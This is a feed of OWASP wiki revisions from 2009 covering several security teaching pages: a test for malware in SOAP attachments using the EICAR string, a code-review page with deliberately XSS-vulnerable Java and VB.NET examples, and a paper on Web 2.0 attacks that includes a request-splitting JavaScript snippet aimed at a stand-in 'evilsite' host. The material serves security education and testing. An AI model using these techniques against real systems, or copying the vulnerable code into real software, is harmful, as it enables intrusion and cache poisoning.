A sample or template module can be found [[Education Module Sample|here]].<br />
<br />
Example modules are "[[Education Module What Is SQL Injection]]" and "[[Education Module What is SQL]]".<br />
<br />
[[Category:OWASP Education Modules]]<br />
[[Category:OWASP Education Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=File:OWASPAppSec2006Seattle_Homegrown_Crypto.ppt&diff=63494
File:OWASPAppSec2006Seattle Homegrown Crypto.ppt
2009-06-03T12:50:13Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[Category:OWASP Presentations]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Testing_for_Naughty_SOAP_Attachments_(OWASP-WS-006)&diff=63495
Testing for Naughty SOAP Attachments (OWASP-WS-006)
2009-06-03T12:50:13Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:OWASP Testing Guide v3}}<br />
<br />
== Brief Summary ==<br />
<br />
This section describes attack vectors for Web Services that accept attachments. The danger exists in the processing of the attachment on the server and redistribution of the file to clients.<br />
<br />
== Description of the Issue ==<br />
<br />
Binary files, including executables and document types that can contain malware, can be posted using a web service in several ways. These files can be sent as a parameter of a web service method; they can be sent as an attachment using SOAP with Attachments, and they can be sent using DIME (Direct Internet Message Encapsulation) and WS-Attachments. <br />
<br />
An attacker can craft an XML document (SOAP message) to send to a web service that contains malware as an attachment. Testing to ensure the Web Service host inspects SOAP attachments should be included in the web application testing plan.<br />
<br />
== Black Box testing and example ==<br />
<br />
'''Testing for file as parameter vulnerabilities:'''<br />
<br />
1. Find WSDL that accepts attachments:<br />
<br />
For example:<br />
<br />
<nowiki>... <s:element name="UploadFile"><br />
<s:complexType><br />
<s:sequence><br />
<s:element minOccurs="0" maxOccurs="1" name="filename" type="s:string" /> <br />
<s:element minOccurs="0" maxOccurs="1" name="type" type="s:string" /> <br />
<s:element minOccurs="0" maxOccurs="1" name="chunk" type="s:base64Binary" /> <br />
<s:element minOccurs="1" maxOccurs="1" name="first" type="s:boolean" /> <br />
</s:sequence><br />
</s:complexType><br />
</s:element><br />
<s:element name="UploadFileResponse"><br />
<s:complexType><br />
<s:sequence><br />
<s:element minOccurs="1" maxOccurs="1" name="UploadFileResult" type="s:boolean" /> <br />
</s:sequence><br />
</s:complexType><br />
</s:element> ... </nowiki><br />
<br />
2. Attach a test virus attachment using a non-destructive virus like EICAR, to a SOAP message and post to the target Web Service. In this example, EICAR is used.<br />
<br />
SOAP message with EICAR attachment (as Base64 data):<br />
<br />
POST /Service/Service.asmx HTTP/1.1<br />
Host: somehost<br />
Content-Type: text/xml; charset=utf-8<br />
Content-Length: length<br />
SOAPAction: http://somehost/service/UploadFile<br />
<br />
<?xml version="1.0" encoding="utf-8"?><br />
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" <br />
xmlns:xsd="http://www.w3.org/2001/XMLSchema" <br />
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br />
<soap:Body><br />
<UploadFile xmlns="http://somehost/service"><br />
<filename>eicar.pdf</filename><br />
<type>pdf</type><br />
<chunk>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</chunk><br />
<first>true</first><br />
</UploadFile><br />
</soap:Body><br />
</soap:Envelope><br />
<br />
'''Result Expected:'''<br />
<br />
A SOAP response with the UploadFileResult parameter set to true (this will vary per service). The EICAR test virus file is allowed to be stored on the host server and can be redistributed as a PDF.<br />
<br />
<br />
''' Testing for SOAP with Attachment vulnerabilities<br />
<br />
The testing is similar, however, the request would be similar to the following (note the EICAR base64 info):<br />
<br />
<nowiki><br />
POST /insuranceClaims HTTP/1.1<br />
Host: www.risky-stuff.com<br />
Content-Type: Multipart/Related; boundary=MIME_boundary; type=text/xml;<br />
start="<claim061400a.xml@claiming-it.com>"<br />
Content-Length: XXXX<br />
SOAPAction: http://schemas.risky-stuff.com/Auto-Claim<br />
Content-Description: This is the optional message description.<br />
<br />
--MIME_boundary<br />
Content-Type: text/xml; charset=UTF-8<br />
Content-Transfer-Encoding: 8bit<br />
Content-ID: <claim061400a.xml@claiming-it.com><br />
<br />
<?xml version='1.0' ?><br />
<SOAP-ENV:Envelope<br />
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><br />
<SOAP-ENV:Body><br />
<claim:insurance_claim_auto id="insurance_claim_document_id"<br />
xmlns:claim="http://schemas.risky-stuff.com/Auto-Claim"><br />
<theSignedForm href="cid:claim061400a.tiff@claiming-it.com"/><br />
<theCrashPhoto href="cid:claim061400a.jpeg@claiming-it.com"/><br />
<!-- ... more claim details go here... --><br />
</claim:insurance_claim_auto><br />
</SOAP-ENV:Body><br />
</SOAP-ENV:Envelope><br />
<br />
--MIME_boundary<br />
Content-Type: image/tiff<br />
Content-Transfer-Encoding: base64<br />
Content-ID: <claim061400a.tiff@claiming-it.com><br />
<br />
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br />
--MIME_boundary<br />
Content-Type: image/jpeg<br />
Content-Transfer-Encoding: binary<br />
Content-ID: <claim061400a.jpeg@claiming-it.com><br />
<br />
...Raw JPEG image..<br />
--MIME_boundary-- <br />
</nowiki><br />
<br />
'''Result Expected:'''<br />
<br />
The EICAR test virus file is allowed to be stored on the host server and can be redistributed as a TIFF file.<br />
<br />
== References ==<br />
<br />
* Xml.com - http://www.xml.com/pub/a/2003/02/26/binaryxml.html<br />
* W3C: "Soap with Attachments" - http://www.w3.org/TR/SOAP-attachments<br />
<br />
'''Tools'''<br />
<br />
* EICAR (http://www.eicar.org/anti_virus_test_file.htm)<br />
* [[OWASP_WebScarab_Project|OWASP WebScarab]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=XSS_Attacks&diff=63488
XSS Attacks
2009-06-03T12:50:12Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[OWASP Code Review Guide Table of Contents]]<br />
<br />
Contact author: [mailto:eoinkeary@owasp.org Eoin Keary]<br />
<br><br />
<br />
----<br />
<BR><br />
'''NOTICE:'''<br />
'''PLEASE GO TO'''<BR> https://www.owasp.org/index.php/Reviewing_code_for_XSS_issues '''as this page may not be up to date.'''<BR><br />
<BR><br />
<br />
----<br />
<br />
XSS attacks<br />
Bad code example:<br />
If the text inputted by the user is reflected back and has not been data validated the browser shall interpret the inputted script as part of the mark up and execute the code accordingly.<br />
To mitigate this type of vulnerability we need to perform a number of security tasks in our code:<br />
<br />
# Validate data<br />
# Encode unsafe output<br />
<br />
import org.apache.struts.action.*; <br />
import org.apache.commons.beanutils.BeanUtils; <br />
import javax.servlet.http.HttpServletRequest; <br />
import javax.servlet.http.HttpServletResponse; <br />
<br />
public final class InsertEmployeeAction extends Action { <br />
<br />
public ActionForward execute(ActionMapping mapping, ActionForm form,<br />
HttpServletRequest request, HttpServletResponse response) throws Exception{ <br />
<br />
// Setting up objects and vairables.<br />
<br />
Obj1 service = new Obj1(); <br />
ObjForm objForm = (ObjForm) form; <br />
InfoADT adt = new InfoADT (); <br />
BeanUtils.copyProperties(adt, objForm); <br />
<br />
String searchQuery = objForm.getqueryString();<br />
String payload = objForm.getPayLoad();<br />
try { <br />
service.doWork(adt); / /do something with the data<br />
ActionMessages messages = new ActionMessages(); <br />
ActionMessage message = new ActionMessage("success", adt.getName() ); <br />
messages.add( ActionMessages.GLOBAL_MESSAGE, message ); <br />
saveMessages( request, messages ); <br />
request.setAttribute("Record", adt); <br />
return (mapping.findForward("success"));<br />
}<br />
catch( DatabaseException de ) <br />
{<br />
ActionErrors errors = new ActionErrors(); <br />
ActionError error = new ActionError("error.employee.databaseException" + “Payload: “+payload);<br />
errors.add( ActionErrors.GLOBAL_ERROR, error ); <br />
saveErrors( request, errors ); return (mapping.findForward("error: "+ searchQuery)); <br />
} <br />
} <br />
}<br />
<br />
<br />
The red text above shows some common mistakes in the development of this struts action class.<br />
Firstly the data passed in the HttpServletRequest is placed into a parameter without being data validated.<br />
<br />
Focusing on XSS we can see that this action class returns either a message, ActionMessage in the case of the function being successful.<br />
In the case of an error the code in the Try/Catch block is executed and we can see here that the data inputted by the user, the data contained in the HttpServletRequest is returned to the user, unvalidated and exactly in the format in which the user inputted it.<br />
<br />
import java.io.*; <br />
import javax.servlet.http.*; <br />
import javax.servlet.*; <br />
<br />
public class HelloServlet extends HttpServlet <br />
{ <br />
public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException <br />
{ <br />
<br />
String input = req.getHeader(“USERINPUT”);<br />
<br />
PrintWriter out = res.getWriter(); <br />
out.println(input); // echo User input.<br />
out.close(); <br />
} <br />
} <br />
<br />
<br />
A second example of an XSS vulnerable function. Echoing un-validated user input back to the browser would give a nice large vulnerability footprint.<br />
<br />
<br />
<br />
<br />
.NET Example (ASP.NET version 1.1 ASP.NET version 2.0):<br />
<br />
The server side code for a VB.NET application may have similar functionality<br />
<br />
' SearchResult.aspx.vb <br />
Imports System <br />
Imports System.Web <br />
Imports System.Web.UI <br />
Imports System.Web.UI.WebControls <br />
<br />
Public Class SearchPage Inherits System.Web.UI.Page <br />
<br />
Protected txtInput As TextBox <br />
Protected cmdSearch As Button <br />
Protected lblResult As Label Protected <br />
<br />
Sub cmdSearch _Click(Source As Object, _ e As EventArgs) <br />
<br />
// Do Search…..<br />
// …………<br />
<br />
lblResult.Text="You Searched for: " & txtInput.Text <br />
<br />
// Display Search Results…..<br />
// …………<br />
<br />
End Sub <br />
End Class<br />
<br />
<br />
<br />
This is a VB.NET example of a Cross Site Script vulnerable piece of search functionality which echoes back the data inputted by the user. To mitigate against this we need proper data validation and in the case of stored XSS attacks we need to encode known bad (as mentioned before).<br />
<br />
In the .NET framework there are some in-built security functions which can assist in data validation and HTML encoding, namley, ASP.NET 1.1 '''request validation '''feature and '''HttpUtility.HtmlEncode'''.<br />
<br />
Microsoft in their wisdom state that you should not rely solely on ASP.NET request validation<br />
and that it should be used in conjunction with your own data validation, such as regular expressions (mentioned below).<br />
<br />
The request validation feature is disabled on an individual page by specifying in the page directive <br />
<br />
'''<%@ Page validateRequest="false" %>'''<br />
<br />
or by setting '''ValidateRequest="false"''' on the '''@ Pages''' element. <br />
<br />
or in the '''web.config''' file:<br />
<br />
You can disable request validation by adding a <br />
<br />
<'''pages'''> element with '''validateRequest="false"'''<br />
<br />
So when reviewing code make sure the validateRequest directive is enabled an if not, investigate what method of DV is being used, if any.<br />
Check that ASP.NET Request validation Is enabled in '''Machine.config'''<br />
Request validation is enabled by ASP.NET by default. You can see the following default setting in the '''Machine.config''' file.<br />
<br />
'''<pages validateRequest="true" ... /> '''<br />
<br />
HTML Encoding:<br />
<br />
Content to be displayed can easily be encoded using the HtmlEncode function. This is done by calling:<br />
<br />
'''Server.HtmlEncode(string)'''<br />
<br />
Using the html encoder example for a form:<br />
<br />
Text Box: <%@ Page Language="C#" ValidateRequest="false" %> <br />
<br />
<script runat="server"> <br />
void searchBtn _Click(object sender, EventArgs e) { <br />
Response.Write(HttpUtility.HtmlEncode(inputTxt.Text)); } <br />
</script> <br />
<html> <br />
<body> <br />
<form id="form1" runat="server"> <br />
<div> <br />
<asp:TextBox ID="inputTxt" Runat="server" TextMode="MultiLine" Width="382px" Height="152px"> <br />
</asp:TextBox> <br />
<asp:Button ID="searchBtn" Runat="server" Text="Submit" OnClick=" searchBtn _Click" /> <br />
</div> <br />
</form> <br />
</body> <br />
</html><br />
<br />
'''Stored Cross Site Script:'''<br />
Using Html encoding to encode potentially unsafe output.:<br />
<br />
Malicious script can be stored/persisted in a database and shall not execute until retrieved by a user. This can also be the case in bulletin boards and some early web email clients. This incubated attack can sit dormant for a long period of time until a user decides to view the page where the injected script is present. At this point the script shall execute on the users browser:<br />
<br />
The original source of input for the injected script may be from another vulnerable application, which is common in enterprise architectures. Therefore the application at hand may have good input data validation but the data persisted may not have been entered via this application per se, but via another application.<br />
<br />
In this case we cannot be 100% sure the data to be displayed to the user is 100% safe (as it could of found its way in via another path in the enterprise).<br />
The approach to mitigate against this si to ensure the data sent to the browser is not going to be interpreted by the browser as mark-up and should be treated as user data.<br />
<br />
We encode known bad to mitigate against this “enemy within”. This in effect assures the browser interprets any special characters as data and markup. <br />
How is this done?<br />
HTML encoding usually means '''&lt;''' becomes '''&amp;lt;''', '''&gt;''' becomes '''&amp;gt;''', '''&amp;''' becomes '''&amp;amp;''', and '''&quot;''' becomes '''&amp;quot;'''.<br />
<br />
From To<br />
<br />
&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;lt;<br />
<br />
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;gt;<br />
<br />
&#40;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&#35;40;<br />
<br />
&#41;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&#35;41;<br />
<br />
&#35;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&#35;35;<br />
<br />
&amp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;amp;<br />
<br />
&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;quot;<br />
<br />
So for example the text <script> would be displayed as <script> but on viewing the markup it would be represented by &amp;lt;script&amp;gt;<br />
<br />
<br />
[[Category:OWASP Code Review Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Papers/Jeopardy_in_Web_2_0&diff=63489
OWASP Papers/Jeopardy in Web 2 0
2009-06-03T12:50:12Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>== Jeopardy in Web 2.0 == <br />
This is a technical paper submitted by '''Dharmesh M Mehta''' at OWASP Paper Section. <br />
The paper describes about the security problems in Web 2.0 which is the Next Generation of Web. <br />
The pdf version of the paper is available at [https://www.owasp.org/images/b/b6/Jeopardy_in_Web_2.0_-_The_Next_Generation_Web_Applications.pdf here]<br />
<br />
== Introduction – The Next Generation Web ==<br />
<br />
What on earth is Web 2.0? Web 2.0 carries a high profile and surrounding hype. Developers must surely be feeling the heat to quickly adopt the new second generation of dynamic, interactive and simple by design technologies. <br />
Web 2.0 is the term pioneered by O’Reilly for new generation Web applications. Live.com, start.com, Google maps, Google Docs, YouTube, Flickr, and MySpace are a few examples. Adaptation of this technology vector has changed the Web application development approach and methodology significantly. <br />
<br />
AJAX (Asynchronous JavaScript) delivers a rich user interface by displaying more dynamic content. Another common technique is Real Simple Syndications feeds (RSS), an XML based standard that allows subscribers to promote information feeds. This is most commonly used to subscribe to blogs and news articles. AJAX and Rich Internet Application (RIA) clients are enhancing client-end interfaces in the browser itself. XML is making a significant impact at both presentation and transport (HTTP/HTTPS) layers. To some extent XML is replacing HTML at the presentation layer while SOAP is becoming the XML-based transport mechanism of choice. <br />
<br />
With Web 2.0, the functionality and experience of the sites become the primary focus, and the technology empowering the dynamic content is hidden behind the scenes to the average user. Yet the web applications underneath the polished finish remain just as complex, and add a variety of new and often unproven or unsecured technologies to the back end. Worms like Spaceflash, Yamanner and Samy are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information. These remote capabilities can invoke methods over GET, POST or SOAP from the Web browser itself providing new openings to applications. On other side, RIA frameworks running on XML, Flash, Applets and JavaScripts are adding new possible sets of vectors. RIA, AJAX and Web services are adding new dimensions to Web application security.<br />
<br />
Did you hear something like ‘Cross Site Request Forgery’ or something like ‘XML Poisoning’ or ‘XSS in AJAX’ recently? Well, all these terms are the recent vulnerabilities found in the new web technology. Media reports show regular coverage of the larger companies, such as MySpace suffering from a QuickTime XSS worm, Yahoo Mail recently being hit by a Yamanner worm attack, and even Google Mail has had to overcome XSS problems.<br />
<br />
AJAX inherently is not weak in security. AJAX can consume XML, HTML, JS Array and other customized objects using simple GET, POST or SOAP calls; all this without invoking any middleware tier. This brings in relatively seamless data exchange between an application server and a browser. Information coming from the server is injected into the current DOM context dynamically and the state of the browser’s DOM gets recharged. <br />
<br />
A Developer Psychology: <br />
<br />
• Should I validate data or the third party will take care? <br />
One of the critical factors in an application security is input and output content validation. Web 2.0 applications use bridges, mashups, feeds, etc. In many cases it is assumed that the “other party” has implemented validation and this belief leads to neither party implementing proper validation control.<br />
<br />
• How will I handle those multiple hidden calls?<br />
Web 2.0 applications exceedingly differ from Web 1.0 in the information access mechanism. A Web 2.0 application has several endpoints for AJAX as compared to its predecessor Web 1.0. There are calls drawn all over the browser page which can be invoked by respective events. Not only does this scattering of AJAX calls makes it difficult for developers to handle, but also tends to induce poor coding practices given the fact that these calls are hidden and not easily obvious.<br />
<br />
• I always trust that feed.<br />
The next generation applications carry information from various feeds, blogs and search engines. A developer always trusts the incoming information. This content is never validated before being echoed to the end browser. Common attack possible due to this mistake is known as [[Cross-site Scripting (XSS)|Cross Site Scripting]] or XSS. It is possible to execute a malicious JavaScript in the browser that forces the browser to make cross-domain calls ending the genuine user in a large victim soup.<br />
<br />
• How one can use my application code against me?<br />
AJAX calls can fetch JS array, Objects, Feeds, XML files, etc. If any of these serialization blocks can be intercepted and manipulated, the browser can be forced to execute unpleasant scripts. If developers have not taken enough precautions in placing adequate security controls, then security issues can be opened up on both the server as well as browser ends.<br />
<br />
== Top Attacks against Web 2.0 ==<br />
<br />
'''1. [[Cross-Site Request Forgery]] (CSRF):'''<br />
<br />
The [[CSRF]] name was given by Peter Watkins (peterw@usa.net) in a June 2001 posting to Bugtraq mailing list. The basic idea of [[CSRF]] is simple; an attacker tricks the user into performing an action by directing the victim’s code on the target application using a link or other content. <br />
<br />
For e.g. the link http://www.google.co.in/search?q=OWASP+Mumbai causes anyone who clicks on this link to search for “OWASP Mumbai”. This would be harmless. However a link like below http://users.mastek.com/EditProfile?action=update&location=mumbai&value=india hints that it can be accessed by an authorized user using a cookie or browser authentication. <br />
<br />
Links can be easily obfuscated so that they appear to go elsewhere and to hide words that might disclose their actual function. CSRF attacks effect applications that use either HTTP GET or HTTP POST. HTTP GET requests are easier to exploit. <br />
<br />
When the browser makes this call it replays the cookie and adopts an identity. This is the key aspect of the request. If an application makes a judgment on the basis of cookies alone, this attack will succeed.<br />
In Web 2.0 applications AJAX talks with backend Web services over XML-RPC, SOAP, etc. It is possible to invoke them over GET and POST. In other words, it is also possible to make cross-site calls to these Web services. Doing so would end up compromising a victim’s profile interfaced with Web services. CSRF is an interesting attack vector and is getting a new dimension in this newly defined endpoints scenario. These endpoints may be for AJAX or Web services but can be invoked by cross-domain requests.<br />
<br />
There is a myth that [[CSRF]] is a special case of [[Cross-site Scripting (XSS)|XSS]]. But the fact is [[CSRF]] is a distinct vulnerability, with a different solution. XSS mitigation will not remediate [[CSRF]] attacks. Although this type of attack has similarities to XSS, cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. Compared to XSS, CSRF attacks are not well understood by many web developers and few defense resources are available.<br />
<br />
'''2. XML Poisoning : <br />
'''<br />
XML traffic has increased because common formats like MP3 files and Microsoft Word documents can now be sent as XML. Additionally, the fact that SOAP envelopes and WSDL files can carry embedded macros and files increases the risk of exchanging Web services messages. In Web 2.0 applications, XML traffic goes back and forth between server and browser. Web applications consume XML blocks coming from AJAX clients. It is possible to poison this XML block. Attacker can also apply recursive payloads to similar - producing XML nodes multiple times. If the engine’s handling is poor this may result in a denial of services on the server. <br />
<br />
Many attackers also produce malformed XML documents that can disrupt logic depending on parsing mechanisms in use on the server. XML schema poisoning is another XML poisoning attack vector which can change execution flow. This vulnerability can help an attacker to compromise confidential information.<br />
<br />
'''3. RSS / Atom Injection :''' <br />
<br />
RSS feeds are common means of sharing information on portals and Web applications. These feeds allow both users and Web sites to obtain content headlines and body text without needing to visit the site in question, basically providing users with a summary of that sites content. Unfortunately, many of the applications that receive this data do not consider the security implications of using content from third parties and unknowingly make themselves and their attached systems susceptible to various forms of attack. <br />
<br />
These feeds are consumed by Web applications and sent to the browser on the client-side. One can inject literal JavaScripts into the RSS feeds to generate attacks on the client browser. During the presentation phase the readers treat the data as a literal and thus execute any script contained in the feed, usually a JavaScript. An end user visits this particular Web site loads the page with the RSS feed and the malicious script – a script that can install software or steal cookies – gets executed. With RSS and ATOM feeds becoming integral part of Web applications, it is important to filter out certain characters on the server-side before pushing the data out to the end user.<br />
<br />
'''4. WSDL Scanning and Enumeration :'''<br />
<br />
WSDL (Web Services Definition Language) is an interface to Web services. Since the WSDL document includes all of the operations that are available to the consumer, it is straightforward for a hacker to run through all of the operations with different message request patterns until a breach is identified. This “knocking on every door until one opens” approach is usually effective when poor programming practices are employed or simply the result of operations that were excluded from published WSDL documents yet are still up and running for some reason. <br />
<br />
Unnecessary functions or methods kept open can cause potential disaster for Web services. It is important to protect WSDL file or provide limited access to it. In real case scenarios, it is possible to discover several vulnerabilities using WSDL scanning.<br />
<br />
'''5. HTTP Request Splitting'''<br />
<br />
These attacks are constrained by a single factor: the presence of a web proxy (reverse or forward). These kind of attacks are generally found in LAN or WAN. HTTP Request Splitting attack take advantage of a base implementation of asynchronous requests like XMLHttpRequest. <br />
<br />
A HTTP Request Splitting attack essentially injects arbitrary headers when an HTTP request is built. For example:<br />
var myNewRequest = new ActiveXObject("Microsoft.XMLHTTP");<br />
myNewRequest.open ("GET\thttp://www.evilsite.com/page1.html\tHTTP/1.1\r\nHost:\twww.evilsite.com\r\nProxy-Connection:\tKeep-Alive\r\n\r\nGET","/page2.html",false);<br />
myNewRequest.send(); <br />
<br />
A JavaScript forged as in the previous code will send the following requests:<br />
<br />
GET http://www.evilsite.com/page1.html HTTP/1.1<br />
Host: www.evilsite.com<br />
Proxy-Connection:Keep-Alive<br />
<br />
GET /page2.html HTTP/1.1<br />
Host: www.evilsite.com<br />
Proxy-Connection:Keep-Alive<br />
<br />
Now if there is a proxy in middle, it will see two requests asking for pages at http://www.evilsite.com and will get corresponding two responses. What happens is, from browser’s perspective only one request has been sent, so the second response is simply put into the browser queue waiting to be associated to the next request. <br />
Therefore if a user now makes a new request like http://www.mybank.com , the browser will echo the queued response instead of the original page of mybank.com. The request to www.evilsite.com/page2.html can execute a malicious JavaScript at client browser and can control a user’s browsing session as well. <br />
<br />
'''6. Malicious AJAX Code Execution'''<br />
<br />
AJAX calls are very silent and end-users would not be able to determine whether or not the browser is making silent calls using the XMLHttpRequest object. When the browser makes an AJAX call to any Web site it replays cookies for each request. <br />
<br />
For example, Sunny has logged in to a shopping site and has been authenticated on the server. After completing the authentication process he gets a cookie identifying him as authenticated user for all further requests. Now he browses other pages while still logged in to his shopping site and lands at an attacker’s Web page. On this page the attacker has written silent AJAX code which makes backend calls to his bank without Sunny’s consent, fetches critical information from the pages and sends this information to the attacker’s Web site. This leads to a security breach and leakage of confidential information.<br />
<br />
== Conclusion ==<br />
<br />
With Web 2.0 taking place, so are its security concerns. There’s no ignoring the issues, and there’s no boilerplate for addressing them, either. AJAX, RIA and Web Services form the core of Web 2.0 applications. With the evolution and adaptation of these technologies, new vulnerabilities also come into sight. Since AJAX is in its infancy, this is fair less of a problem than, say, buffer overflows were when they first came to light. There are not a lot of legacy AJAX applications that will need to be fixed. So, let us publicize its finding as loudly as possible now to nip the problem in the bud. Increased awareness of these vulnerabilities and using secure coding standards will help fighting against the attackers.<br />
<br />
== About the Author ==<br />
Dharmesh M Mehta works as Technical Analyst in Application Security with Mastek http://www.mastek.com in Mumbai, India. He is a Certified | Ethical Hacker and is mainly involved in web security assessments and conducting application security workshops. He is also the Chapter Leader for OWASP Mumbai. He writes at http://blogs.owasp.org/dharmesh and http://smartsecurity.blogspot.com. He can be contacted at ''dharmeshmm@mastek.com'' or ''dharmeshmm@owasp.org''. <br />
<br />
[[Category: OWASP Papers]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Public_Data_Assigned_to_Private_Array-Typed_Field&diff=63487
Public Data Assigned to Private Array-Typed Field
2009-06-03T12:50:11Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[::Category:Vulnerability]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
<br />
A vulnerability is a weakness in an application (frequently a broken or missing control) that enables an attack to succeed. Be sure you don't put [attacks] or [controls] in this category.<br />
<br />
# Start with a one-sentence description of the vulnerability<br />
# What is the problem that creates the vulnerability?<br />
# What are the attacks that target this vulnerability?<br />
# What are the technical impacts of this vulnerability?<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]</div>
MediaWiki spam cleanup